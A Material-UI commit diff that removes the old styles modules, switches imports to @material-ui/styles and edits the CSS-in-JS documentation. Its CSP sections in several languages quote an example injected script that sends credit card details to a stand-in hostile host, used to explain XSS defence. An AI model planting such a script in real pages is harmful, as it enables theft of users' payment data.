[styles] Remove the old styles modules (#14560)

* [styles] Remove the old styles modules

* reviews

Author: oliviertassinari

docs/scripts/buildApi.js

@@ -8,7 +8,7 @@ import generateMarkdown from '../src/modules/utils/generateMarkdown';
 import { findPagesMarkdown, findComponents } from '../src/modules/utils/find';
 import { getHeaders } from '../src/modules/utils/parseMarkdown';
 import createMuiTheme from '../../packages/material-ui/src/styles/createMuiTheme';
-import getStylesCreator from '../../packages/material-ui/src/styles/getStylesCreator';
+import getStylesCreator from '../../packages/material-ui-styles/src/getStylesCreator';
 
 function ensureExists(pat, mask, cb) {
   mkdir(pat, mask, err => {

docs/src/modules/components/AppWrapper.js

@@ -2,8 +2,7 @@ import React from 'react';
 import PropTypes from 'prop-types';
 import { connect } from 'react-redux';
 import url from 'url';
-import { MuiThemeProvider } from '@material-ui/core/styles';
-import { StylesProvider } from '@material-ui/styles';
+import { StylesProvider, ThemeProvider } from '@material-ui/styles';
 import acceptLanguage from 'accept-language';
 import { lightTheme, darkTheme, setPrismTheme } from '@material-ui/docs/MarkdownElement/prism';
 import { updatePageContext } from 'docs/src/modules/styles/getPageContext';
@@ -186,7 +185,7 @@ class AppWrapper extends React.Component {
         sheetsManager={pageContext.sheetsManager}
         sheetsRegistry={pageContext.sheetsRegistry}
       >
-        <MuiThemeProvider theme={pageContext.theme}>{children}</MuiThemeProvider>
+        <ThemeProvider theme={pageContext.theme}>{children}</ThemeProvider>
         <SideEffects />
       </StylesProvider>
     );

docs/src/modules/components/DemoFrame.js

@@ -1,8 +1,8 @@
 import React from 'react';
 import PropTypes from 'prop-types';
 import { create } from 'jss';
-import { withStyles, jssPreset } from '@material-ui/core/styles';
-import { StylesProvider } from '@material-ui/styles';
+import { withStyles } from '@material-ui/core/styles';
+import { jssPreset, StylesProvider } from '@material-ui/styles';
 import NoSsr from '@material-ui/core/NoSsr';
 import rtl from 'jss-rtl';
 import Frame from 'react-frame-component';

docs/src/modules/components/bootstrap.js

@@ -1,13 +1,10 @@
 // Use the same helper as Babel to avoid bundle bloat.
 import 'core-js/modules/es6.array.find-index';
 import 'core-js/modules/es6.set';
-import { install } from '@material-ui/styles';
 
 // Disable auto highlighting
 // https://github.com/PrismJS/prism/issues/765
 if (process.browser) {
   window.Prism = window.Prism || {};
   window.Prism.manual = true;
 }
-
-install();

docs/src/modules/utils/getDemoConfig.js

@@ -17,31 +17,6 @@ ReactDOM.render(<Demo />, document.querySelector('#root'));
   };
 }
 
-function hooksDemo(demoData) {
-  return {
-    dependencies: getDependencies(demoData.raw, { reactVersion: 'next' }),
-    files: {
-      'index.js': `
-import React from 'react';
-import ReactDOM from 'react-dom';
-import Demo from './demo';
-import { createMuiTheme } from "@material-ui/core/styles";
-import { ThemeProvider } from "@material-ui/styles";
-
-const theme = createMuiTheme();
-
-ReactDOM.render(
-  <ThemeProvider theme={theme}>
-    <Demo />
-  </ThemeProvider>,
-  document.querySelector("#root")
-);
-      `,
-      'demo.js': demoData.raw,
-    },
-  };
-}
-
 function tsDemo(demoData) {
   return {
     dependencies: getDependencies(demoData.raw, { codeLanguage: CODE_VARIANTS.TS }),
@@ -79,7 +54,6 @@ function getLanguageConfig(demoData) {
     case CODE_VARIANTS.TS:
       return tsDemo(demoData);
     case CODE_VARIANTS.HOOK:
-      return hooksDemo(demoData);
     case CODE_VARIANTS.JS:
       return jsDemo(demoData);
     default:

docs/src/pages/css-in-js/advanced/advanced-de.md

@@ -192,7 +192,7 @@ export default App;
 
 ## Klassennamen
 
-You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
+You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
 
 ```jsx
 const useStyles = makeStyles({
@@ -283,7 +283,7 @@ Basically, CSP mitigates cross-site scripting (XSS) attacks by requiring develop
     <script>
       sendCreditCardDetails('https://hostile.example');
     </script>
-    
+
 
 This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
 
@@ -322,4 +322,4 @@ Then, you must pass this nonce to JSS so it can add it to subsequent `<style>` t
 
 ```jsx
 <meta property="csp-nonce" content={nonce} />
-```
+```

docs/src/pages/css-in-js/advanced/advanced-es.md

@@ -192,7 +192,7 @@ export default App;
 
 ## Class names
 
-You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
+You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
 
 ```jsx
 const useStyles = makeStyles({
@@ -283,7 +283,7 @@ Basically, CSP mitigates cross-site scripting (XSS) attacks by requiring develop
     <script>
       sendCreditCardDetails('https://hostile.example');
     </script>
-    
+
 
 This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
 
@@ -322,4 +322,4 @@ Then, you must pass this nonce to JSS so it can add it to subsequent `<style>` t
 
 ```jsx
 <meta property="csp-nonce" content={nonce} />
-```
+```

docs/src/pages/css-in-js/advanced/advanced-fr.md

@@ -192,7 +192,7 @@ export default App;
 
 ## Class names
 
-You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
+You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
 
 ```jsx
 const useStyles = makeStyles({
@@ -283,7 +283,7 @@ Fondamentalement, CSP atténue les attaques XSS (Cross-Site Scripting) en oblige
     <script>
       sendCreditCardDetails('https://hostile.example');
     </script>
-    
+
 
 Cette vulnérabilité permettrait à l'attaquant d'exécuter n'importe quoi. Cependant, avec un en-tête CSP sécurisé, le navigateur ne chargera pas ce script.
 
@@ -322,4 +322,4 @@ Ensuite, vous devez transmettre ce nonce à JSS afin qu’il puisse l’ajouter
 
 ```jsx
 <meta property="csp-nonce" content={nonce} />
-```
+```

docs/src/pages/css-in-js/advanced/advanced-ja.md

@@ -192,7 +192,7 @@ export default App;
 
 ## Class names
 
-You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
+You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
 
 ```jsx
 const useStyles = makeStyles({
@@ -283,7 +283,7 @@ Basically, CSP mitigates cross-site scripting (XSS) attacks by requiring develop
     <script>
       sendCreditCardDetails('https://hostile.example');
     </script>
-    
+
 
 This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
 
@@ -322,4 +322,4 @@ Then, you must pass this nonce to JSS so it can add it to subsequent `<style>` t
 
 ```jsx
 <meta property="csp-nonce" content={nonce} />
-```
+```

docs/src/pages/css-in-js/advanced/advanced-pt.md

@@ -192,7 +192,7 @@ export default App;
 
 ## Class names
 
-You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
+You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
 
 ```jsx
 const useStyles = makeStyles({
@@ -283,7 +283,7 @@ Basically, CSP mitigates cross-site scripting (XSS) attacks by requiring develop
     <script>
       sendCreditCardDetails('https://hostile.example');
     </script>
-    
+
 
 This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
 
@@ -322,4 +322,4 @@ Then, you must pass this nonce to JSS so it can add it to subsequent `<style>` t
 
 ```jsx
 <meta property="csp-nonce" content={nonce} />
-```
+```

docs/src/pages/css-in-js/advanced/advanced-ru.md

@@ -192,7 +192,7 @@ export default App;
 
 ## Имена классов
 
-You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
+You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
 
 ```jsx
 const useStyles = makeStyles({
@@ -283,7 +283,7 @@ Basically, CSP mitigates cross-site scripting (XSS) attacks by requiring develop
     <script>
       sendCreditCardDetails('https://hostile.example');
     </script>
-    
+
 
 This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
 
@@ -322,4 +322,4 @@ Then, you must pass this nonce to JSS so it can add it to subsequent `<style>` t
 
 ```jsx
 <meta property="csp-nonce" content={nonce} />
-```
+```

docs/src/pages/css-in-js/advanced/advanced-zh.md

@@ -192,7 +192,7 @@ export default App;
 
 ## Class names
 
-您可能已经注意到我们的样式解决方案生成的类名称**不确定性**，所以你不能依赖它们保持不变。 类名由 [生成，我们的类名生成器](/css-in-js/api/#creategenerateclassname--options----class-name-generator) 让我们以下面的样式为例：
+您可能已经注意到我们的样式解决方案生成的类名称**不确定性**，所以你不能依赖它们保持不变。 类名由 [生成，我们的类名生成器](/css-in-js/api/#creategenerateclassname-options-class-name-generator) 让我们以下面的样式为例：
 
 ```jsx
 const useStyles = makeStyles({
@@ -283,7 +283,7 @@ const Button = withStyles(styles, { name: 'button' })(ButtonBase);
     <script>
       sendCreditCardDetails('https://hostile.example');
     </script>
-    
+
 
 此漏洞允许攻击者执行任何操作。 但是，使用安全的CSP标头，浏览器将不会加载此脚本。
 
@@ -322,4 +322,4 @@ header('Content-Security-Policy')
 
 ```jsx
 <meta property="csp-nonce" content={nonce} />
-```
+```

docs/src/pages/css-in-js/advanced/advanced.md

@@ -203,7 +203,7 @@ export default App;
 
 You may have noticed that the class names generated by our styling solution are **non-deterministic**,
 so you can't rely on them to stay the same.
-The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator)
+The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator)
 Let's take the following style as an example:
 
 ```jsx
@@ -273,11 +273,10 @@ We provide an option to make the class names **deterministic** with the [`danger
 - production: `.AppBar-root`
 
 ⚠️ **Be cautious when using `dangerouslyUseGlobalCSS`.**
-We provide this option as an escape hatch for prototyping.
 Relying on it for code running in production has the following implications:
 
-- Global CSS is inherently fragile. People use strict methodologies like [BEM](http://getbem.com/introduction/) to workaround the issue.
-- It's harder to keep track of `classes` API changes.
+- It's harder to keep track of `classes` API changes between major releases.
+- Global CSS is inherently fragile.
 
 ⚠️ When using `dangerouslyUseGlobalCSS` standalone (without Material-UI), you should name your style sheets using the `options` parameter:
 

docs/src/pages/css-in-js/basics/basics.md

@@ -10,13 +10,13 @@ You can use it, but you don't have to. This styling solution is [interoperable w
 
 In previous versions, Material-UI has used LESS, then a custom inline-style solution to write the style of the
 components, but these approaches have proven to be limited. Most recently, we have [moved toward](https://github.com/oliviertassinari/a-journey-toward-better-style)
-a *CSS-in-JS* solution. It **unlocks many great features** (theme nesting, dynamic styles, self-support, etc.).
+a *CSS in JS* solution. It **unlocks many great features** (theme nesting, dynamic styles, self-support, etc.).
 We think that this is the future:
 
 - [A Unified Styling Language](https://medium.com/seek-blog/a-unified-styling-language-d0c208de2660)
-- [Convert SCSS (Sass) to CSS-in-JS](https://egghead.io/courses/convert-scss-sass-to-css-in-js)
+- [Convert SCSS (Sass) to CSS in JS](https://egghead.io/courses/convert-scss-sass-to-css-in-js)
 
-Material-UI's styling solution is inspired by many other CSS-in-JS libraries like [styled-components](https://www.styled-components.com/) and [emotion](https://emotion.sh/).
+Material-UI's styling solution is inspired by many other CSS in JS libraries like [styled-components](https://www.styled-components.com/) and [emotion](https://emotion.sh/).
 
 - 💅 You can expect [the same advantages](https://www.styled-components.com/docs/basics#motivation) as styled-components.
 - 🚀 It's [blazing fast](https://github.com/mui-org/material-ui/blob/next/packages/material-ui-benchmark/README.md#material-uistyles).
@@ -36,24 +36,6 @@ npm install @material-ui/styles
 yarn add @material-ui/styles
 ```
 
-### Migration for `@material-ui/core` users
-
-To switch from the default style implementation to this newest version, you need to execute the following code **before importing any** Material-UI's components:
-
-```js
-import { install } from '@material-ui/styles';
-
-install();
-```
-
-It is **recommended** to place the above code in a separate file (e.g. `bootstrap.js`) and to import it in your application's entry point (e.g. `index.js`).
-This ensures that the installation is executed before anything else, because ECMAScript imports are hoisted to the top of the module. If the installation step is not performed correctly the resulting build could have conflicting class names.
-
-We will make `@material-ui/styles` the default style implementation for the core components in Material-UI v4. This installation step is **temporary**.
-Behind the scenes, the `install()` function switches the styling engine the core components use.
-
-Also, the `@material-ui/core/MuiThemeProvider` component can be replaced with `@material-ui/styles/ThemeProvider`. We will remove this component in v4.
-
 ## Getting started
 
 We provide 3 different APIs. They all share the same underlying logic.